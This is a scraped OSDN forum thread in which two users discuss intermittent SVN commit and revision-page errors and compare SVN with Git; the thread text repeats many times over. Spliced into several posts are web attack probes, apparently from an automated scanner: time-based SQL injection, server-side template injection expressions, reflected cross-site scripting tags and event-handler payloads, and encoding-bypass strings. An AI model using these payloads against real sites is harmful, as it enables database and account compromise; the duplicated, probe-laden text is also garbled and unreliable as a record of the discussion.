At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
555
dfb[[${98991*97996}]]xca
dfb${98991*97996}::.x
dfb${98991*97996}::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
bfg4448＜s1﹥s2ʺs3ʹhjl4448
bfg6001%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6001
bfgx1632%C0%BEz1%C0%BCz2a%90bcxhjl1632
<%={{={@{#{${dfb}}%>
<%={{={@{#{${dfb}}%>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1
<th:t="${dfb}#foreach
<th:t="${dfb}#foreach
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1
dfb{{98991*97996}}xca
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb[[${98991*97996}]]xca
555'"()&%<zzz><ScRiPt >K55P(9627)</ScRiPt>
dfb${98991*97996}::.x
dfb${98991*97996}::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
'"()&%<zzz><ScRiPt >K55P(9308)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"onmouseover=5fpQ(97932)"
5559875433
1%22onmouseover=7hru(99522)%22
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"onmouseover=5fpQ(92852)"
1"onmouseover=7hru(91312)"
bfg7179＜s1﹥s2ʺs3ʹhjl7179
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/" Buoi=5fpQ([!+!]) SMw="
1" c9MH=7hru([!+!]) JUy="
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/\u0022onmouseover=5fpQ(94633)\u0022
<%={{={@{#{${dfb}}%>
1\u0022onmouseover=7hru(92253)\u0022
